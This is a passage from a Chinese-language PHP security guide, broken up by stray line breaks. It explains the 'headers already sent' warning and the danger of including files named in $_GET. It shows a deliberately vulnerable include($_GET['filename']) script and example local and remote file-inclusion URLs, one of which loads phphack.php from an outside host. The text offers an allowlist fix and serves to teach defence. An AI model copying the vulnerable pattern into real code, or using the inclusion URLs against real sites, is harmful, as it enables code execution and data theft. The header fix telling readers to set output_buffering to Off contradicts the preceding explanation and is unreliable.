background image

遇到过这个警告吗

?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如

cookie。头部总是先到达。正文部分包括可视的 html,

图片等数据。
如果

output_buffering 设置为 Off,所有的 HTTP-header 相关的函数必须在有输出之前调

用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,

output_buffering

的设置可能不一样。结果转向停止了,

cookie 和 session 都没有正确的设置........。

如何修复

:

确保在输出之前调用

http-header 相关的函数,并且令 output_buffering = Off

4. Require 或 include 的文件使用不安全的数据
再次强调:不要相信不是你自己显式声明的数据。不要

 Include  或 require  从$_GET, 

$_POST 或 $_COOKIE 中得到的文件。
例如

:

index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>

现在任一个黑客现在都可以用

:

http://www.yourdomain.com/index.php?filename=anyfile.txt

来获取你的机密信息,或执行一个

PHP 脚本。

 

如果

allow_url_fopen=On,你更是死定了:

试试这个输入:

http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com
%2Fphphack.php

现在你的网页中包含了

http://www.youaredoomed.com/phphack.php  

输出

. 黑客可以发

送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

如何修复:
你必须自己控制哪些文件可以包含在的

include 或 require 指令中。

下面是一个快速但不全面的解决方法:
<?
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}